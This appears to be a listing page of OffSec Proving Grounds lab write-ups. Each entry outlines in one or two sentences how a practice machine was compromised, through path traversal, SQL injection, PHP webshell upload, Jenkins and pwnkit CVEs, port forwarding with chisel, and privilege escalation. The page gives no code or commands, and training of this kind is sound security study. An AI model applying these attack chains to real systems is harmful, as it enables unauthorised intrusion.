Aria2 WebUI on port 8888 is vulnerable to path traversal (CVE-2023-39141). Steal deathflash SSH key for initial access, find RPC key, forward port 6800 with chisel, configure app, upload SSH key to root for root access.
OFFSEC - Proving Grounds - OUTDATED
·2359 words·12 mins
OFFSEC PG PRACTICE MPDF EXIFTOOL CHISEL WEBMIN
SSH or initial access by exploiting the website using mPDF 6.0 and downloading credentials, reuse creds for Webmin on port 10000 to escalate to root.
OFFSEC - Proving Grounds - VMDAK
·3176 words·15 mins
OSCP OFFSEC PG PRACTICE PRISON MANAGEMENT SYSTEM MYSQL CHISEL JENKINS BURP
Prison management system on port 9443 vulnerable to SQL injection & RCE once initial access got MySQL creds and SSH in. Using port forward on 8080 we can exploit Jenkins (CVE-2024-23897) for root.
OFFSEC - Proving Grounds - MZEEAV
·1935 words·10 mins
OFFSEC PG PRACTICE BURP
Web application on port 80 has a ZIP backup with source code. Upload PHP webshell via MZ magic byte check, gain initial access and escalate to root using renamed find binary in /opt/fileS.
OFFSEC - Proving Grounds - PAYDAY
·2438 words·12 mins
OFFSEC PG PRACTICE CS-CART
INTERNETSHOP on port 80 uses CS-CART. Weak credentials allow login and RCE via template editor with PHP webshell. Gain patrick user access via weak credentials and escalate to root using sudo bash.
OFFSEC - Proving Grounds - PEPPO
·1634 words·8 mins
OFFSEC PG PRACTICE IDENT-USER-ENUM RBASH ED PWNKIT
Ident on port 113 reveals process owner eleanor on port 10000. SSH access via weak credentials to get initial access in rbash, escape rbash using ed, set PATH and exploit pwnkit (CVE-2021-4034) to gain root.